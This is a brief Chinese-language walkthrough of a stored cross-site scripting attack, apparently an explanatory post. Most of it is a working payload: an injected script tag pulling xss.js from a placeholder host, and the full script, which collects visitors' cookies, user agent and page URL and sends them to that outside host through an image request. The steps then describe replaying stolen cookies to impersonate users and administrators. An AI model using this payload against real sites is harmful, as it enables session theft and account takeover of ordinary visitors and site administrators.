一次XSS攻击过程

1.一个录入数据的地方，没做转义检测【例如用户录入需求的地方】
2.用户录入了如下数据
<script src=http://www.xxx.cn/xss.js></script>
    该内容会展示给所有访问网站主页的用户【尤其是管理员】
3.xss.js 内容如下 
var cookie = escape(document.cookie);
var agent = escape(window.navigator.userAgent);
var url = escape(window.location.href);
var host = escape(window.location.host);
x=new Image();
x.src="http://www.xxx.cn/index.php?cookie="+cookie+"&agent="+agent+"&url="+url+"&host="+host;
由于xss.js被所有访问网站主页的用户访问。
所有用户的cookie被提取存入到www.xxx.cn
4.此时，黑客即可拿出任意cookie，模拟该对应用户访问网站，获得此用户权限，去处置该用户的各项数据
还有可能得到管理员的cookie，去完暴此网站的菊花